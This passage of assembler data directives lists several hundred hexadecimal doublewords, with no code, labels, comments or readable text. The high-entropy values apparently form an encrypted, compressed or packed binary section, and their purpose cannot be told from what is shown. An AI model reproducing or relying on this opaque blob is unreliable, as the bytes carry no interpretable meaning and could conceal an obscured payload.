4303742Eh, 4D491830h dd 0D20D096Ah, 2840FAF4h, 76741B8Bh, 0A4B3A917h, 0A0B720D2h dd 78F2AD4h, 7E0606AEh, 0C8723728h, 0F64C7101h, 97651D20h dd 0B402BC40h, 0BEAE0339h, 0D8F832FEh, 0A1445914h, 0F4A705A4h dd 3001D9B3h, 0EF8CB1CAh, 12002828h, 75D13C95h, 0E948BA2Eh dd 0C4F42510h, 43794014h, 0F57C5C00h, 9DCAD66Bh, 0A89022h dd 6D076052h, 3DDF355Bh, 0DA82E3Bh, 287CAAA3h, 23CFFC0h dd 7A22996Dh, 0D140CC32h, 0DB02256Bh, 0FEC894A5h, 0B753C054h dd 7DCA00D5h, 0AF011D86h, 0F200B479h, 3AE65F33h, 193C18h dd 6AE9F5CAh, 0BCB39A1Ah, 9603AA76h, 3BAB9427h, 919982Dh dd 0CF8EED5h, 9AC1CD47h, 1E0EE688h, 0E08F9B87h, 892B5029h dd 1D1F006Ch, 41CCE17Ah, 0AD0059D6h, 0BBE884Bh, 30ACBDAAh dd 0FC41C5CDh, 0E38CC5Eh, 0B0770028h, 3B5D5CA5h, 3D305CA6h dd 33810D00h, 6E1190B6h, 647C99E8h, 0D4A3BF3Ch, 0B858B484h dd 5E560034h, 805DDF54h, 99A43052h, 0B80A1040h, 813571F9h dd 18E5AA31h, 0B6E09DCBh, 90960041h, 99D3F5EEh, 0BF60A3B4h dd 58DC7729h, 9B8C1F79h, 7B0D0C34h, 0E500D918h, 29E47514h dd 0E2B708DBh, 189C00CCh, 0D5366F7Fh, 0F900B58Dh, 0B6DD3BB4h dd 0E3E46h, 0CA394B54h, 0DC04155h, 0DB3F10C4h, 0B3DECD60h dd 0C8886A73h, 0BDB118C9h, 0E061403Fh, 4F4162Bh, 17C21406h dd 2E060610h, 21E219D9h, 34009098h, 68327340h, 74D37C7Dh dd 218A6069h, 8434C327h, 8D0185E0h, 2EE15FFEh, 244A0781h dd 40CB88C8h, 14428E0Eh, 500A0672h, 0C6E19703h, 10A67B9Dh dd 6CC8410Fh, 6A3EA0CDh, 0CC3DFC08h, 0A1210908h, 716D3101h dd 8927B921h, 0E6486F20h, 4F6E027Eh, 0B630611Fh, 49548090h dd 72CEA101h, 7509DDBDh, 21190998h, 0A200B1B4h, 993CBBEEh dd 63FBF306h, 1493B9F6h, 1DAA4900h, 0A43956BBh, 0A4201F5h dd 5EBC9B63h, 0C7C091FDh, 0C26CC383h, 0B3136AAh, 6CCCBC10h dd 0F1775007h, 73158E9Fh, 0F9148806h, 12371279h, 0B0650009h dd 571A486Ch, 0BC793C28h, 0CE01C546h, 0D2734434h, 88890C69h dd 3400C73Bh, 872E598Eh, 6A66F83h, 0D5787EB5h, 360ED8F5h dd 9744EEF3h, 371C3A00h, 65F015h, 0FB097263h, 9848F434h dd 76842D54h, 5AC158h, 0FC5D119Eh, 0E858C997h, 0D321C00Bh dd 0EF443ADEh, 0F800E390h, 0A86F93A5h, 0E3FCF095h, 0AE579981h dd 81FB6692h, 97012410h, 81C8E694h, 629C0CE5h, 0DBA8F6A6h dd 5492AF88h, 5FA072h, 7338204Eh, 52B0DBB4h, 0C5D54919h dd 0D9166BB8h, 4297BE00h, 0E3B738BAh, 0B094369Ch, 5646D851h dd 0C63AC302h, 0EE1CA19Eh, 0F33A00D8h, 0F222EBB4h, 9E0FB6BFh dd 174A6E5h, 0AE8911FCh, 7C81A180h, 25CB8CBDh, 0E2146203h dd 0D9C47B0Ah, 51801B99h dd 8E5D567Fh, 0EF00F249h, 51744EF5h, 4CE254Bh, 669B1C9Ch dd 0FB0C88BDh, 732F388h, 0BE27CF4Fh, 2E7EC322h, 96F51812h dd 0FA2CA820h, 0F3740DAAh, 42213EF8h, 8132C6FCh, 0FA7347C8h dd 8D221C26h, 34DC2E01h, 0F1ACF698h, 808C59A8h, 0AB95F544h dd 0F971E3A4h, 7F309035h, 0E6BF31A8h, 22069D19h, 72150078h dd 87A656B5h, 69A0C829h, 382C3208h, 317B1101h, 800996F6h dd 0F2E72A41h, 60141505h, 0AD3179F5h, 3200E826h, 0C52A99FFh dd 3625F44h, 0F3D9EB7Fh, 5212088Ah, 4453365h, 44027411h dd 0A0086F7Eh, 0F52BAEC0h, 210490BAh, 0CC8399B1h, 929EC93Ah dd 10051958h, 0F3AC5D6h, 6A028E16h, 32F5A101h, 0D002001h dd 4F58208Ah, 348BF2h, 3E73D257h, 0CF8D4E71h, 51079430h dd 3E639C6Ch, 0E900E8F2h, 0B3EAB7E1h, 4D03C346h, 2AA0B94Fh dd 15A3E05Dh, 417C039Bh, 2997F7Dh, 6D00417Eh, 2264E71Dh dd 71CB840Fh, 5EB87A0Eh, 0F88FA1F4h, 0A6580407h, 560B7641h dd 20FFF8F0h, 7E9BA408h, 34C89AADh, 0C0B9F314h, 0CE86837Fh dd 4984B00h, 20BD7728h, 7F240552h, 0B9D2F8h, 2A36A5F8h dd 41F69EFCh, 0BF319C0Ah, 6580E01Ah, 0CC250777h, 3D331CC4h dd 0FCB40068h, 118A7031h, 8EF58507h, 534EF372h, 121B828h dd 42EA64B2h, 60B02607h, 0FC097E31h, 42369DAh, 2C450A4Ch dd 886C8E47h, 5E0CF84h, 8E19D642h, 0FA22AF1Ch, 611E72C1h dd 2063B5CAh, 0C0A1430Fh, 0CA70ADA8h, 4CA10556h, 5F707E31h dd 2BA30EACh, 92A210A3h, 0C700E1E2h, 4C8ACEh, 98238568h dd 0F860E7DEh, 6FDAFD02h, 0C2B33C1Fh, 0A91A8C40h, 0A8AD52F5h dd 40809D26h, 0C51BBF7Dh, 50230500h, 0C08AEBE2h, 749B0048h dd 0B024F63Ch, 14262D12h, 0C4640029h, 4934C560h, 20CA7323h dd 0DE20033Ch, 56D95034h, 7F832F5h, 85912495h, 9A723A80h dd 0CFF8A48Fh, 0A9498D98h, 7028803Ch, 28B8C293h, 21C00889h dd 4780B63Eh, 4D72C4A1h, 1A4486DCh, 94F5CB6h, 0A5A2F90Eh dd 742945A0h, 89AC193h, 0E8CD50CAh, 0F9A14EC3h, 0C219A572h dd 18C0CB25h, 0C11EC8h, 6673DAF6h, 9C228581h, 19DB80A1h dd 7F4E34C4h, 0A4685273h, 34F93DC0h, 0CB267714h, 7260E415h dd 1EF683Ch, 0F22AEB84h, 3073C27Dh, 345CAF58h, 3FF82328h dd 50C36C9Dh, 0CBBBE02Eh, 0C27036Ch, 0FEF0A39Fh, 933069D6h dd 451DF91Fh, 960F010Dh, 67B1E99Dh, 0B2E4732Dh, 0D4BC3085h dd 6CFCBE00h, 87352882h, 0E4EC146Fh, 0B448B88Dh, 48217811h dd 984F10B0h, 0F73DCEC0h, 0B4B1D99Eh, 3AC7ECC0h, 2FA60052h dd 0FCA474Fh, 8050E175h, 69888DA0h, 0FDEE48AEh, 31776E00h dd 3EA15906h, 840154FCh, 9F136311h, 0B8629429h, 7D3CC600h dd 0C4A93DDBh, 153F1C01h, 2A51BF43h, 98F878F9h, 0BAFB4816h dd 0B8E17C19h, 8CF184Ah, 0C19ECA3Ah, 0ED400FC4h, 0D1753AC4h dd 0B48E8506h, 44803E81h, 63003609h, 0FDEA3B62h, 0C076B09Ch dd 21FF1619h, 712C992Dh, 660BAC91h, 0E4FC229Dh, 235A20F9h dd 2801B456h, 0D1B97CA4h, 1C298694h, 99C86200h, 5D7A08A3h dd 0FDCF1C00h, 0E1F23E2Dh, 47B8949Fh, 0DC0ECB12h, 0C137B884h dd 9FC5E4h, 0C7FFBFB6h, 806EDC91h, 0BA6A18BEh, 0EA5F6904h dd 0B8CC95F6h, 0BFA218F2h, 1E6611FCh, 3C964172h, 7D3EBFC1h dd 3F5020h, 904AA92h, 4637EDDDh, 3C00E2EEh, 74B96261h dd 0F8A839h, 0E091EF26h, 2AD9B6EBh, 2D89DA04h, 8806C2Fh dd 1831115h, 0B617B028h, 0C9801B0Eh, 6801CCC3h, 0E4EAC600h dd 0D6EC98BCh, 89837h, 54058FB9h, 622AC557h, 1839E00h dd 0F0D73F50h, 0ADEF01D4h, 37688286h, 2955F44Ah, 0BB33A400h dd 7F6789A6h, 3EC5006Dh, 0D1BCBEB3h, 2100B450h, 0AC97CD31h dd 98D996C0h, 0F97200F0h, 0E1A471C8h, 4B0EB064h, 7DBA11Eh dd 0CA101F17h, 0D795BCh, 7E6B4B1h, 36238E14h, 2DB09B00h dd 7E8A7550h, 4A210031h, 597DAFAh, 0A200E87Ch, 29FB63ADh dd 16EF196Dh, 0BF6607h, 15E094A7h, 60010588h, 69842014h dd 48803A93h, 75E126F4h, 0DD12EE5Ch, 0C422DB8Bh, 0CE94812Dh dd 0A8D35F88h, 7B7DAC4h, 2F4163BDh, 9E9B0189h, 0AD588020h dd 0BB0D44F8h, 0C950090h, 0C3ACCF02h, 1E5C7BA0h, 80763976h dd 5FC947E4h, 480EE6DDh, 0C09D10F8h, 2AC3A75Dh, 3300ACB1h dd 20658FF6h, 25791Ch, 12DA71A2h, 93BA02A5h, 0E6039000h dd 7E8BBC0Fh, 7CA0041h, 0E3695D1Ch, 0AD0051FCh, 0FD44F521h dd 3AC1BF1h, 0B3087718h, 86D8AED3h, 0FB7E7CE9h, 88BEC807h dd 3E90030Eh, 78A54E02h, 4A6A1CD8h, 93DD074Bh, 0D97E3A0h dd 0E58DCFE0h, 0FAA4983Fh, 4900CC79h, 0D4109FD9h, 85218Eh dd 0B2636130h, 86474C5Eh, 1AB3FA03h, 0A005DBA5h, 4DCDB959h dd 6D0FC0E1h, 81A057DCh, 0E577BC32h, 8AA72E00h, 7967DA15h dd 89CC00B8h, 5019E9CEh, 450FD625h, 20E693C0h, 0DA1820E7h dd 0D3020049h, 17E24235h, 0A31DA279h, 6800DC73h, 8F015977h dd 1CFC0153h, 0CA45B0E1h, 0C1E97091h, 0EFAF440Eh, 2B0D4002h dd 3D6B4E6h, 9F03799h, 428AB954h, 3402B472h, 588FADB6h dd 3A8C9072h, 0E070BDFCh, 0A25B6C07h, 0D0BC9E3Ch, 0AAD700EDh dd 0D25A5C71h, 8004BC59h, 0E0418861h, 0F5401487h, 0BE78C5h dd 96A44D0Fh, 7E7A3908h, 0DDE8A754h, 14D84814h, 0BD600EAFh dd 0F7185889h, 1E397E44h, 56DC0498h, 30542012h, 0CA0019C9h dd 4FB92878h, 1E346824h, 40E1D81Ch, 9CB3CD2Eh, 63006AE8h dd 61323EBEh, 5C5D810Fh, 0FF0074A5h, 5C2F21B1h, 2E732BA9h dd 0A6D1DB0Eh, 55B4E0DFh, 77EFA0h, 237E87ECh, 363C380Ah dd 0C2665Ch, 80018D1Ch, 958652h, 387221C9h, 5931AE5Eh dd 0E70099EAh, 32017E84h, 708B75BEh, 0A6D21805h, 6D208C4Ch dd 804B9A3Ah, 85031AA3h, 2C1DED6h, 86EADBCCh, 1050E857h dd 0FC03D173h, 0E5D6E2C2h, 31881F2Bh, 4043DF25h, 0C699B191h dd 4F29498h, 0FC22EA00h, 967323A6h, 5916008Ch, 672FB930h dd 4D00CEE3h, 35ABFEB5h, 0E8CD42B0h, 532E0011h, 0A585726h dd 0D409E671h, 33AA514h, 0B15E5600h, 0EF42A59h, 408101D9h dd 0F8066DBh, 5EC2CCEh, 42174CFh, 4E08A880h, 609700DCh dd 0D3992B1Fh, 0F51440F3h, 1F4E5B8h, 0DDB163FEh, 1181FDB5h dd 2CB0331Bh, 30D3CD7Ch, 8C90FC78h, 27B6F412h, 2F7FD80Fh dd 0F6A420D5h, 0AD1E01h, 7C80FD8Bh, 271B99CCh, 9B582E00h dd 7276BFEAh, 0F8EAD5h, 0B3157CF1h, 6E861F5Eh, 0E3706C90h dd 21CD5B30h, 2A4CED14h, 0B0F593h, 9F404D4Fh, 7D6B59FFh dd 850A7500h, 0A0CADC8Ch, 0CFE324EDh, 0D5900033h, 0B950D28Fh dd 9D009AE4h, 46A6311Bh, 0C701ECEh, 9B9E8D72h, 0C7022218h dd 19EF0512h, 0F19080A9h, 68CFBFFh, 5EA746D0h, 331F289Dh dd 0E68F5CA0h, 15AB4021h, 7C83CFCh, 988F35A8h, 0EAC20052h dd 8100504Eh, 0AD54D365h, 1975767h, 0C9C37179h, 0E895CCBAh dd 34504E1Eh, 263AD8F0h, 0A7AE0056h, 1320724Dh, 0ABE103A9h dd 0B01CE0A4h, 7A5256A0h, 8B530700h, 15596D2Dh, 49320097h dd 0AA8FD2B5h, 650B0879h, 81808486h, 3CB6FEDAh, 2347C4h dd 0A70DBEE9h, 20212DDFh, 9750F500h, 0ACF98509h, 90410081h dd 197BA85Eh, 3900EAE5h, 981529B3h, 2C0EDEh, 5F9FE3ACh dd 11F48883h, 0D6F4B677h, 0DC92FC24h, 15D89340h, 0BC275E58h dd 87590115h, 0B98CF088h dd 4E2D0CBh, 1A3C00ECh, 947525A1h, 0B89A715Fh, 46CC28A0h dd 0B9209004h, 0C0AA954Eh, 0BD0EE9E3h, 0A600E075h, 9C46C1C4h dd 0E6CB622h, 63E4CDB1h, 4D03D02Fh, 0BAC0284Ah, 0C828D266h dd 0AF000842h, 87BE29DCh, 2A9E024h, 0FD949F32h, 506812A2h dd 7D606FDCh, 0C4B15489h, 0DD020188h, 0D79F1DC1h, 86E8F32Dh dd 9BEADB72h, 18489728h, 1296FA00h, 0C1DC628Bh, 657472h dd 1041DC2h, 0AD40F073h, 198A4300h, 0BBC1C70Bh, 0AFEE00CCh dd 75655E7Dh, 0F00D014h, 0B07B4248h, 5E2BA6Ch, 0AECC38CFh dd 52388047h, 0B472D473h, 0F4C25A00h, 0F2D9CB87h, 75720BE6h dd 0D0AFFD3Dh, 40D6EE6Eh, 7424F5D8h, 75007F0Fh, 7D49ACDDh dd 6862A6h, 953614Eh, 0CF72ED2Eh, 12BDFA07h, 0AA20EF9Dh dd 0E274B20h, 4AF3788Ch, 0F8E91F40h, 7B000D8Fh, 12053E2h dd 3357BFh, 130E3568h, 9C56FB79h, 0C801547Ch, 97EA9DAh dd 64DD0773h, 0F1AAD4h, 3E724C1Eh, 836A1470h, 0A3FF1900h dd 5F2E8229h, 0BDEC0081h, 0A96E97ACh, 8400EF6Dh, 366949D7h dd 0DC4A0F2h, 507EFD5Ch, 0EA7DD08Eh, 2E5D8400h, 4767C509h dd 28C0504h, 0E30ADE94h, 0BF04D098h, 8E019BE8h, 0A060428h dd 1980FE19h, 0C3A14A22h, 39118BD1h, 3300F114h, 9E497299h dd 7400FFDBh, 44FFBE6h, 0EC379F88h, 0C0B577F7h, 73176A61h dd 5F1D9283h, 2D8B7721h, 0B5608114h, 70F4F513h, 0F6BE30B2h dd 2A576031h, 0EF933100h, 7DD44E3Ch, 0AE9900F8h, 686B05F2h dd 0C41FFB08h, 9847F4CFh, 9680168Fh, 0BC8197h, 88744E93h dd 1EEED808h, 489253Dh, 7A9D536Bh, 7B18A0C8h, 649800CCh dd 31BEDE5Ah, 6C09F0DCh, 0E17CC5F6h, 0D5606FCCh, 0F2ED048Dh dd 0A93819E2h, 669B030Ch, 98491179h, 0C00DC283h, 8CE82370h dd 7B06197Eh, 75DA8B74h, 0F8710718h, 0C90C3D65h, 9C72CD87h dd 6E313131h, 8597DE61h, 3F66030h, 68722519h, 0E815068Ch dd 1B8CB3BFh, 2C4F07Fh, 7E94CB60h, 0D88B096Bh, 8EADEA01h dd 7D118068h, 0F0156CC3h, 82D9286Dh, 7FB57790h, 232E034Bh dd 0EF83A56Bh, 0C2088AE8h, 12BBFA03h, 0F8E06377h, 4A29D90h dd 0C161817Dh, 71089802h, 4D418300h, 9B05EDDAh, 6247D64h dd 68937F43h, 6D005085h, 0C8C6A82Fh, 62177DF7h, 19BEC8F8h dd 0FD4CD20h, 0A88200D5h, 8D23AA05h, 43008F4Fh, 16775572h dd 0CFF544Ah, 69F9F0E4h, 3707C6F0h, 8A1E3475h, 0CF30C710h dd 936127F5h, 0A48000AFh, 3923650Fh, 0E408550Bh, 6F544001h dd 0B4E01Eh, 97FBF20Dh, 0BEF51CABh, 0A1FCF100h, 0C9C87759h dd 94791B16h, 1903F0DDh, 0BF30D7BDh, 14B900F0h, 81A31D2Ah dd 0A5712D51h, 5A0094EAh, 97F1B7A7h, 34A1825h, 6DF4B9C8h dd 0F839F6D0h, 43FC809Fh, 0FFD5A4DEh, 0CA900E97h, 0F5627BD3h dd 684AD775h, 8131D861h, 52667119h, 0F07C1774h, 1B040321h dd 84813A95h, 37001EBBh, 0E492669Dh, 62BA530Fh, 0D31D6090h dd 0EAEF5F4Dh, 50E87E7Fh, 394A40Fh, 0A62E2324h, 57E07E1Eh dd 0C81EF673h, 0A91E3BE3h, 72241400h, 0E18756D3h, 0E236FB60h dd 0E4CC009Eh, 5CC5F877h, 0D071C2ECh, 51C4ED00h, 0BFA36C3Ch dd 0D5713965h, 0ECB76D00h, 0D2C7254Ah, 0C9F74C00h, 937B3E4h dd 2F4B1F14h, 18B218CFh, 270A73A4h, 2002FCB1h, 2029AAF3h dd 96A813D6h, 68D3D707h, 6CF01EB9h, 787F9CD5h, 3C5B7850h dd 0B580FBD8h, 2ECB8EDFh, 81011F64h, 5EBD48BEh, 88C4973h dd 0D74188B3h, 0DE058A00h, 0EABF82B6h, 5614A847h, 8B4A0728h dd 0C7B3E3EEh, 0F8E1E0FDh, 89007B98h, 0A17C5D25h, 2774337h dd 6F03B456h, 34ACB991h, 1D00FD08h, 37BFA672h, 11C4EB4h dd 4C8E225Dh, 88DEDAC5h, 818FB180h, 0B44F4AA6h, 0E22886A4h dd 21415C4Dh, 0A505744h, 3C63007Ah, 3FA984D3h, 791DCDE1h dd 5DCF2D43h, 4A78A3Eh, 600E7E50h, 0B90F1071h, 0AB002BDEh dd 7D733D50h, 14596BEh, 7E3C61C8h, 0DCE21E80h, 0CF6ED911h dd 7CE8C429h, 48CDFA04h, 0DD6842E4h, 6520C524h, 0D8816024h dd 0D7442708h, 443284F9h, 10BC51CBh, 0AD89D909h, 0D06EFD08h dd 5C849029h, 0EB8144D3h, 926DC600h, 16C00656h, 8B25C9B1h dd 335E006Eh, 0FFF43439h, 0B000607Ch, 0DA8419DEh, 31C0EE6h dd 5F265A8Fh, 49A89FD3h, 4300A19Ah, 0CF7CF65h, 0D50BDBh dd 6BC52029h, 0E3E0CEECh, 0C7508A00h, 83D155FDh, 18DD01E4h dd 16A5C653h, 4B74F849h, 3C19500h, 171E4088h, 0E8BB0114h dd 26E343A0h, 0A7FFC04Eh, 9EA5AA00h, 5AB30493h, 0E25E009Ch dd 65245D47h, 0D5F62881h, 0E3C30900h, 0A10FA674h, 5DF6075Eh dd 90632A89h, 0EDA62CEh, 9F8B3200h, 2F8FDEEBh, 5B9907C5h dd 0F823BCh, 0C464A83Eh, 0FE17E100h, 5A9CB0A0h, 0E4820038h dd 7514D3C3h, 0F0B5D9F7h, 9BF90021h, 0F88ECE55h, 0D83C549Ah dd 6B0C00ADh, 2251C384h, 4B5C0045h, 2844412Eh, 0E5078BD9h dd 8780E9C9h, 0ACF8ED70h, 0BAB900B3h, 0B4014DE7h, 0DA3DEA13h dd 60A60F0Bh, 814F4183h, 54C0F3B6h, 0B07F1E28h, 0B4A98B7Dh dd 0BAE8F300h, 0E0B7FE56h, 41CBC5h, 0E48D2652h, 4D2FBCF1h dd 109BB807h, 0FC40D9EFh, 0E61477F6h, 0AE7270h, 4256A906h dd 0AC072A72h, 1A034DFAh, 0BB6B8162h, 85CBF1DCh, 54D68C20h dd 74FD8A3h, 2E864330h, 81A220CEh, 0ED00347Bh, 80246A8h dd 50C46AEEh, 7FE8C0h, 5887D65Eh, 96E6BC32h, 0D8781E00h dd 0BAD78B86h, 26AB3BA1h, 0B94C280h, 0A40521DFh, 0EE9F0C00h dd 0B4992FF0h, 9D88A0E6h, 5EE40011h, 74B1C0C7h, 52752046h dd 0DCBC1500h, 5A2DD150h, 929F7D66h, 28700E8h, 9DADE9F5h dd 68C07AEEh, 7DC78FAFh, 78933033h, 68273958h, 656B7C0Eh dd 0A453A11Fh, 0CC40EB45h, 12FB24Bh, 0D49570A7h, 0C8313380h dd 2E00B66Eh, 0FF38ED42h, 4DBD1C8Fh, 0FD0020B5h, 40C6C5B7h dd 0B9246242h, 0C4826C9Fh, 43674EF0h, 76A0AF34h, 2B0940h dd 12CB7825h, 3B3DAE7h, 0AEC35C01h, 0B14BE9DDh, 107E03Eh dd 0A0E036E8h, 0DC2E5B18h, 3D4154E9h, 75184F35h, 0DFBA5887h dd 94A76801h, 7EA396FDh, 0B94AB8DBh, 3D78EAh, 0C69A8423h dd 1B8BA956h, 0DD63600h, 0ABF50E01h, 417024D8h, 383D0074h dd 0F75EB58Ah, 2B3BFE00h, 24237587h, 38C87904h, 0B08FE0AFh dd 86009AE9h, 45AB0532h, 5E2895F0h, 360184DEh, 0F5C6433Dh dd 39E07FFEh, 9E3B1E35h, 0E4A9C0CEh, 90EC0FA3h, 2A0E6000h dd 5776A6F4h, 0AB5F004Ch, 0EFA38F36h, 6A77B969h, 7F953B0Fh dd 3007D306h, 5A171385h, 6E7E73A0h, 7D67A2Ch, 0D39E8C27h dd 0B85BF0B7h, 750462CCh, 0B8944E9h, 1E200488h, 3D2C9E2h dd 734523DFh, 0E45FD4D9h, 0F804160Bh, 6EA8A493h, 0B7700C87h dd 2ED35BFh, 0F47F7CF6h, 2C4059BDh, 60E2F96Dh, 4600B398h dd 0BEBC2B52h, 0EE06A23h, 800720FEh, 37EC9EE0h, 2A1EEE2Ch dd 60002888h, 33D69981h, 74A2010Ah, 26AA293Bh, 0E080DEF1h dd 1BC74BBEh, 0B8CAC51Fh, 5BFC0C00h, 0A3BD8331h, 0C00ABACCh dd 4EA108h, 32507F1h, 916023B6h, 53F6CB00h, 76F069A5h dd 0A2663F55h, 7EACD0h, 86A15AD3h, 182CF524h, 90B148h dd 364C5BEEh, 1CF61AF4h, 40647371h, 0FCCC2C5Eh, 0A00A442h dd 0A75B0466h, 5414EEh, 411094DFh, 932DEDCEh, 9EA0BBF2h dd 91009E0Fh, 84A12CA6h, 90DF7E4h, 0C7EAB7AFh, 0D6E0E28Fh dd 73B3AE56h, 0ABB052E4h dd 620227FCh, 49F6925h, 118080BAh, 30D65C6h, 186B1073h dd 4AA0B80Fh, 21F07771h, 0A7E5CF00h, 0FD820932h, 3BDF66Ah dd 8E232234h, 6E99F579h, 0FC153091h, 0B04EE603h, 9B5A2E6Ch dd 52600370h, 6678925Bh, 0B3743E88h, 0BEB2E300h, 82360643h dd 42CB007Bh, 891614DEh, 79737D90h, 749F1000h, 0D5A1318Ah dd 40B51F25h, 136141ECh, 0D0E5595Fh, 7100E2B7h, 0FA4CFB0Eh dd 0CE7CA6h, 1F8CAF41h, 92158D6Dh, 10072E0Fh, 0EA26087h dd 0E66EFCh, 0D46C8CC3h, 78D6D2B9h, 0D0BDEE12h, 1DC0A01Dh dd 5E16A6E3h, 0D94100A0h, 0EAFEDB15h, 0C40049A3h, 708C6FC3h dd 0CB2980h, 7F16CA95h, 0D648FEECh, 0FC3B00Bh, 538800E5h dd 249EF573h, 1A05867h, 5A761B25h, 0C3D8CB90h, 0A0008AEAh dd 0AC819513h, 131CB3CBh, 20D62086h, 9ACA593Ch, 1DC27016h dd 0CC412C00h, 3F13E347h, 368006C0h, 0A6A99874h, 0A1005502h dd 0FE2EDC81h, 929F43Fh, 9A28C42Dh, 976A077Fh, 87DB8370h dd 7FE223h, 4992E0A1h, 0DCA87E71h, 0E5B158h, 8EB38445h dd 1F2F9503h, 0C0898030h, 0E787DCBh, 7F8A3C6h, 92EA7A60h dd 33DA5465h, 2E3180B6h, 25A97FE8h, 0BFF21600h, 96E73488h dd 0C54A1DEDh, 0A04DC7FBh, 2C752129h, 0A1AFDCBBh, 0B621EE00h dd 94DB063Ch, 4554136Ah, 85B43287h, 0D80B8241h, 896776DAh dd 0D710C258h, 1D13242Eh, 0C1076C39h, 82A6C68Eh, 0B2E440D4h dd 0FA00EE01h, 0D5AC42DEh, 0FEF609A4h, 850700EAh, 0D913EFE8h dd 0B5009C94h, 0CD867516h, 4B18A3h, 7F6C1297h, 463556CAh dd 99AF8202h, 576BBBh, 711F0EB1h, 6C245506h, 12853Ah, 68489AA5h dd 7233250Fh, 0ACE48100h, 0B92C5AFBh, 0BA640099h, 1DFCC9C0h dd 67016B97h, 0A6E22D3Ch, 0F7D3864Dh, 0A55C2190h, 0E3F22EDBh dd 0D2CB00D8h, 0D1D51A9h, 0FF340A1Fh, 7E9C0E80h, 0EE17076h dd 0C9FA42E4h, 57461AE0h, 0BB090799h, 80F9BACFh, 2417B93Ch dd 0DAAB402Ch, 7290CA01h, 0DB75EE0h, 5CA8C8F0h, 0C00F529Ah dd 0FA00D502h, 0A26B159Ch, 23401900h, 0DA8D5407h, 4F1226B1h dd 8E5200E3h, 0F31D42DDh, 0A8C83F30h, 2EE3AAC3h, 2C802C18h dd 0FFEF8040h, 34F7737Ch, 0F87D7700h, 5FB59B15h, 0E518020Dh dd 0C70C0F0Ah, 9F77040h, 0BDB8B200h, 9C12EAE6h, 13050598h dd 0C392A52Fh, 62B05B08h, 55E20B42h, 48E9900h, 0B79DA310h dd 26EF006Fh, 0A1B32D02h, 0DD701FD1h, 0FD150800h, 9D80F2C3h dd 18397065h, 10F3932Ch, 41070995h, 0E6F7A4BBh, 63990660h dd 2679168Ch, 6AE50032h, 0DC3F733Eh, 0B6AC4402h, 8083F875h dd 2C3C8EA4h, 13940356h, 44929153h, 0ECCC7E89h, 6AEE665Bh dd 0FE244601h, 0A9F4CE4Eh, 7FC6260h, 0DCDED61h, 0BF9FA130h dd 3185D4F2h, 0C30C4714h, 0EE970BA4h, 616490CEh, 0EED85877h dd 0E22B0074h, 85B2981Eh, 390B05E4h, 3868B1Bh, 0D3FF1198h dd 0A917154h, 0E59D0372h, 80AD1C9Ch, 58D77E25h, 90001C82h dd 0B4F61551h, 0CDE9BC6h, 0A8BDF5A6h, 0D60128D8h, 67DCC562h dd 0D430E76Dh, 49A10BECh, 0CCA71B86h, 0A8C5F059h, 0B6008BBAh dd 874FDB7Eh, 0E271598h, 28047D3Dh, 9F5B813Dh, 2C1847A2h dd 716300F0h, 5ECCDBF1h, 7E52005Fh, 2A9A4481h, 0AF0061ACh dd 9BDAE142h, 57B53DBh, 0DD364186h, 18CCC09Eh, 9C00FEFFh dd 0EF8B9954h, 0A82762h, 0A03AF3CEh, 4B6C71ABh, 0BE0B6400h dd 6ED3C46Fh, 779200C0h, 0AC9541B3h, 0A800521Bh, 0E48ACEFFh dd 861DFBh, 0BD2E3F5Fh, 6B672DB2h, 870ED300h, 76D85159h dd 0F2AA146Eh, 200FB010h, 0BB20A242h, 410DE285h, 73804300h dd 5ADEF912h, 155E4DAh, 79062988h, 216AA57Ch, 0E4B8E4C2h dd 5DDC6017h, 0A1D96040h, 99D216h, 0DB615CDAh, 0B1EAEE39h dd 34380F00h, 28EC37C5h, 8E712631h, 0B6144060h, 0C5E0A6CFh dd 513B8F00h, 5D4DEA97h, 48DB28BAh, 86A000F2h, 4C13A536h dd 5907F988h, 613374DDh, 60CD9042h, 1DE0E475h, 0AEC37E6Ah dd 0BD5F0EBCh, 0E7DEA261h, 0D0306068h, 15EDD303h, 0A8C93E61h dd 0A19FDAh, 1321C748h, 57623054h, 0A65B4A09h, 9008001Ch dd 56634B5h, 44461B93h, 14CC2091h, 0C5FE33D4h, 1801C774h dd 0DCBFBD1Fh, 43C54FCh, 0D6A4E012h, 0F33CB86Ch, 0B02502h dd 0F96A93DCh, 5A8201D9h, 0CE627F4Fh, 50E428C4h, 5F001210h dd 6DBD979Dh, 0DD77Ah, 408AAD2Fh, 0D64B62E2h, 0C2EC7512h dd 91E78D00h, 0A1B9D60h, 780E3718h, 110C0080h, 986C01EFh dd 3973280Eh, 8DEEA15Eh, 9F60613Eh, 7EE51E20h, 81DBC067h dd 0A89988B9h, 72362F01h, 6F119E87h, 581E96F8h, 0AC3B525Ch dd 1A858A80h, 8E8927F0h, 93435900h, 46CB4AB8h, 22B9873h dd 129DE5D3h, 0E3C0A5DEh, 3500881Dh, 0B9EB6EAh, 26F06024h dd 11AF7C3h, 0C9E58A6Dh, 11EBF82Eh, 8082D33Eh, 0A54723D5h dd 979EE63h, 4A37D629h, 85540404h, 0E10470CDh, 0FA0B8930h dd 903FBB27h, 2EC64040h, 4B05964h, 0A4ECEBCCh, 0D300D460h dd 2C424095h, 1E65E82h, 941BBC4Bh, 30E05871h, 0C50051C0h dd 5C8E4FB8h, 0ECCA3B91h, 90E7055Ah, 0D6578h, 1DF4A5B0h dd 0D1047D44h, 58C79446h, 8B17A880h, 0F6DBEEE7h, 244E4889h dd 4DFC4875h, 3BB00100h, 0CAA010F7h, 3C307800h, 0B4BE2856h dd 867E303Eh, 2C320898h, 100068ECh, 4647F9F8h, 0DF84A2h dd 2F39741Dh, 0C78ABEF4h, 0A5E37700h, 61EEFCB1h, 8DD8F181h dd 0EDA4AC9h, 0A38090A4h, 35E49F70h, 0B8CA5500h, 1A805059h dd 0E99B13C0h, 3BCE0238h, 2CE0D16Eh, 0F2070DA6h, 0B04EE2F6h dd 0EAC5A8A0h, 533E148Eh, 404D9E99h, 0FAB99D00h, 67C6BA68h dd 3B6F7C00h, 7FB3C006h, 7A29003Ah, 0AF85A386h, 2CB87417h dd 430AB500h, 0DAD35271h, 9FB4A0DFh, 0E4365073h, 8A720195h dd 4883B6FDh, 8C15EC6Bh, 4E23Dh, 4E76E46Fh, 987A27F7h dd 9CA600DCh, 3937F65Bh, 157F7EA0h, 0FB994A00h, 275E85Dh dd 6B45002Ch, 0C66360CDh, 87037E59h, 1B0D69FEh, 80F9CA07h dd 0B93783CCh, 0E3E0A7h, 276FAD4Fh, 0C295821Ah, 882B9200h dd 0CDABA3DBh, 0CEE1C9Ch, 